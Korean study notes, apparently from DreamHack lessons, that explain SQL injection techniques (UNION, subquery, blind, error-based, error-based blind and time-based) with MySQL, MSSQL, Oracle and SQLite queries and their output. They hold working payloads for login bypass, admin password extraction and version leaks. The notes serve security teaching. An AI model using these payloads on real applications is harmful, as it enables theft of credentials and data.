UNION은 다수의 SELECT 구문의 결과를 결합하는 절
해당 절을 통해 다른 테이블에 접근하거나 원하는 쿼리 결과를 생성해 애플리케이션에서 처리하는 타 데이터를 조작할 수 있다.
mysql> SELECT * FROM UserTable UNION SELECT "DreamHack", "DreamHack PW";
/*
+-----------+--------------+
| username | password |
+-----------+--------------+
| admin | admin |
| guest | guest |
| DreamHack | DreamHack PW |
+-----------+--------------+
3 rows in set (0.01 sec)
*/
UNION을 사용할 때 두 가지 필수 조건을 만족해야 함
1. 이전 SELECT 구문과 UNION을 사용한 구문의 실행 결과 중 컬럼 갯수가 같아야 함
2. 특정 DBMS에서는 이전 SELECT 구문과 UNION을 사용한 구문의 컬럼 타입이 같아야 함
Select uid from user_table where uid='' and upw=''
위 Query를 사용하는 Login 페이지에서 uid와 upw를 입력해서 "admin"의 패스워드 획득
uid : ' union select upw from user_table where uid='admin' or '1
upw :
위처럼 입력하면 UPW가 나온다.
Uid : Tomato
uid : ' union select upw from user_table where uid='' or '1
upw : ' or '1
서브 쿼리는 한 쿼리 내에 또 다른 쿼리를 사용하는 것을 의미
괄호 안에 구문 삽입해야 하며 SELECT 구문만 사용할 수 있음
공격자는 서브 쿼리를 통해 쿼리가 접근하는 테이블이 아닌 다른 테이블에 접근하거나 SELECT 구문을 사용하지 않는 쿼리문에서 SQL Injection 취약점이 발생할 때 SELECT 구문을 사용할 수 있음
SELECT 구문의 컬럼 절에서 서브 쿼리를 사용할 때에는 단일 행(Single Row)과 단일 컬럼(Single Column)이 반환되도록 해야 함
FROM 절에서는 서브 컬럼을 인라인 뷰(Inline View)라고 하며 다중 행, 다중 컬럼의 결과를 반환할 수 있음
SELECT * FROM (SELECT *, 1234 FROM users) as u;
/*
+----------+------+
| username | 1234 |
+----------+------+
| admin | 1234 |
| guest | 1234 |
+----------+------+
2 rows in set (0.00 sec)
*/
서브 쿼리를 사용하면 다중 행 결과를 반환하는 쿼리문을 실행할 수 있음
SELECT * FROM users WHERE username IN (SELECT "admin" UNION SELECT "guest");
/*
+----------+----------+
| username | password |
+----------+----------+
| admin | admin |
| guest | guest |
+----------+----------+
2 rows in set (0.00 sec)
*/
특정 쿼리를 실행했을 때 결과가 보여지지 않지만 참인 쿼리문과 거짓인 쿼리문을 작성했을 때 결과가 다르다면 이를 이용해서 공격을 수행할 수 있음
UNION 절을 사용하면 두 개의 SELECT 구문의 결과를 반환하므로 참을 반환할 수 있음
/?username=' union select 'admin' -- -
==> True
SQL에서는 IF문을 사용해 비교 구문을 만들 수 있음
즉 한 글자씩 잘라내서 해당 문자가 맞는지 하나하나 확인해서 알아내는 공격임
/?username=' union select if(substr(password,1,1)='B', 'admin', 'not admin') from users where username='admin' -- -
==> False
/?username=' union select if(substr(password,1,1)='P', 'admin', 'not admin') from users where username='admin' -- -
==> True
/?username=' union select if(substr(password,2,1)='a', 'admin', 'not admin') from users where username='admin' -- -
==> True
임의로 에러를 발생시켜 데이터베이스 및 운영 체제의 정보를 획득하는 공격 기법
Flask 프레임워크로 개발된 애플리케이션에서 디버그 모드를 활성화하면 코드에서 오류가 발생할 때 발생 원인을 출력. 공격자는 오류 메시지를 통해 공격에 필요한 다양한 정보를 수집하고, 원하는 데이터를 획득할 수 있음.
extractvalue 함수는 첫 번째 인자로 전달된 XML 데이터에서 두 번째 인자인 XPATH 식을 통해 데이터를 추출함. 만약, 두 번째 인자가 올바르지 않은 XPATH 식일 경우 올바르지 않은 XPATH 식이라는 에러 메시지와 함께 잘못된 식을 출력함
올바른 예시를 살펴보면, XML 데이터를 전달하고, 올바른 XPATH 식을 전달해 쿼리가 정상적으로 실행되는 것을 볼 수 있는 반면, 올바르지 않은 XPATH 식을 전달하면 에러 메시지에 삽입한 식의 결과가 출력되는 것을 확인할 수 있다.
mysql> SELECT extractvalue('<a>test</a> <b>abcd</b>', '/a');
+-----------------------------------------------+
| extractvalue('<a>test</a> <b>abcd</b>', '/a') |
+-----------------------------------------------+
| test |
+-----------------------------------------------+
1 row in set (0.00 sec)
mysql> SELECT extractvalue(1, ':abcd');
ERROR 1105 (HY000): XPATH syntax error: ':abcd'
# ":" 로 시작하면 올바르지 않은 XPATH 식
extractvalue 함수를 응용해 사용할 경우 데이터베이스의 정보를 추출할 수 있습니다.
mysql> SELECT extractvalue(1,concat(0x3a,(SELECT password FROM users WHERE username='admin')));
ERROR 1105 (HY000): XPATH syntax error: ':Th1s_1s_admin_PASSW@rd'
SELECT updatexml(null,concat(0x0a,version()),null);
/*
ERROR 1105 (HY000): XPATH syntax error: '
5.7.29-0ubuntu0.16.04.1-log'
*/
SELECT extractvalue(1,concat(0x3a,version()));
/*
ERROR 1105 (HY000): XPATH syntax error: ':5.7.29-0ubuntu0.16.04.1-log'
*/
SELECT COUNT(*), CONCAT((SELECT version()),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x;
/*
ERROR 1062 (23000): Duplicate entry '5.7.29-0ubuntu0.16.04.1-log:1' for key '<group_key>'
*/
SELECT convert(int,@@version);
SELECT cast((SELECT @@version) as int);
/*
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2014 - 12.0.2000.8 (Intel X86)
Feb 20 2014 19:20:46
Copyright (c) Microsoft Corporation
Express Edition on Windows NT 6.3 <X64> (Build 9600: ) (WOW64) (Hypervisor)
' to data type int.
*/
SELECT CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM dual;
/*
ORA-20000: Oracle Text error:
DRG-11701: thesaurus Oracle Database 18c Express Edition Release 18.0.0.0.0 - Production does not exist
ORA-06512: at "CTXSYS.DRUE", line 183
ORA-06512: at "CTXSYS.DRITHSX", line 555
ORA-06512: at line 1
*/
Error Based SQLi + Blind SQLi를 사용하는 공격이다.
임의로 에러를 발생시키고 참/거짓을 판단해 데이터를 추출할 수 있다.
Error based SQLI 기법에서는 에러 메시지를 통해 출력된 데이터로 정보를 수집해 출력값에 영향을 받지만 Error based Blind SQLI을 이용하면 에러 발생 여부만을 필요로하기 때문에 용이하게 사용할 수 있다.
mysql> select if(1=1, 9e307*2,0);
ERROR 1690 (22003): DOUBLE value is out of range in '(9e307 * 2)'
mysql> select if(1=0, 9e307*2,0);
+--------------------+
| if(1=0, 9e307*2,0) |
+--------------------+
| 0 |
+--------------------+
1 row in set (0.00 sec)
쿼리를 살펴보면, MySQL의 Double 자료형 최댓값을 초과해 에러를 발생시킨다. 쿼리가 실행되면 서버가 반환하는 HTTP 상태 코드 또는 애플리케이션의 응답 차이를 통해 에러 발생 여부를 확인하고 참/거짓 여부를 판단할 수 있다.
로직 연산의 원리를 이용해 공격하는 방법 또한 존재한다. 예를 들어, A와 B라는 식이 있을 때 AND 연산자를 사용할 경우 두 식의 결과가 모두 참이 반환돼야 전체 식이 참이 된다. 두 개의 식 중 하나라도 거짓을 반환하면 B 연산을 실행하지 않는 점을 이용해 공격할 수 있다.
mysql> SELECT 0 AND SLEEP(1);
+----------------+
| 0 AND SLEEP(1) |
+----------------+
| 0 |
+----------------+
1 row in set (0.00 sec)
mysql> SELECT 1 AND SLEEP(10);
+-----------------+
| 1 AND SLEEP(10) |
+-----------------+
| 0 |
+-----------------+
1 row in set (10.04 sec)
mysql> SELECT 1=1 or 9e307*2;
+----------------+
| 1=1 or 9e307*2 |
+----------------+
| 1 |
+----------------+
1 row in set (0.00 sec)
mysql> SELECT 1=0 or 9e307*2;
ERROR 1690 (22003): DOUBLE value is out of range in '(9e307 * 2)'
시간 지연을 이용해 쿼리의 참/거짓 여부 판단하는 공격 기법
시간을 지연시키는 방법으로는 DBMS에서 제공하는 함수 또는 시간이 많이 소요되는 연산을 수행하는 헤비 쿼리(heavy query)를 사용하는 방법이 있음
mysql> SELECT IF(1=1, sleep(1), 0);
/*
mysql> SELECT IF(1=1, sleep(1), 0);
+----------------------+
| IF(1=1, sleep(1), 0) |
+----------------------+
| 0 |
+----------------------+
1 row in set (1.00 sec)
*/
mysql> SELECT IF(1=0, sleep(1), 0);
/*
mysql> SELECT IF(1=0, sleep(1), 0);
+----------------------+
| IF(1=0, sleep(1), 0) |
+----------------------+
| 0 |
+----------------------+
1 row in set (0.00 sec)
*/
/* SLEEP(duration) */
mysql> SELECT SLEEP(1);
+----------+
| SLEEP(1) |
+----------+
| 0 |
+----------+
1 row in set (1.00 sec)
/* BENCHMARK(count, expr) */
mysql> SELECT BENCHMARK(40000000,SHA1(1));
+-----------------------------+
| BENCHMARK(40000000,SHA1(1)) |
+-----------------------------+
| 0 |
+-----------------------------+
1 row in set (10.78 sec)
mysql> SELECT (SELECT count(*) FROM information_schema.tables A, information_schema.tables B, information_schema.tables C) as heavy;
+----------+
| heavy |
+----------+
| 24897088 |
+----------+
1 row in set (1.41 sec)
mysql> SELECT (SELECT count(*) FROM information_schema.tables A, information_schema.tables B) as heavy;
+-------+
| heavy |
+-------+
| 85264 |
+-------+
1 row in set (0.01 sec)
mysql> SELECT (SELECT count(*) FROM information_schema.tables A, information_schema.tables B, information_schema.tables C) as heavy;
+----------+
| heavy |
+----------+
| 24897088 |
+----------+
1 row in set (1.38 sec)
/* waitfor delay 'time_to_pass'; */
> SELECT '' if((select 'abc')='abc') waitfor delay '0:0:1';
Execution time: 1,02 sec, rows selected: 0, rows affected: 0, absolute service time: 1,17 sec, absolute service time: 1,16 sec
select (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C, information_schema.columns D, information_schema.columns E, information_schema.columns F)
/*
Execution time: 6,36 sec, rows selected: 1, rows affected: 0, absolute service time: 6,53 sec, absolute service time: 6,53 sec
*/
/* LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) */
sqlite> .timer ON
sqlite> SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1500000000/2))));
0
Run Time: real 9.740 user 7.983349 sys 1.743972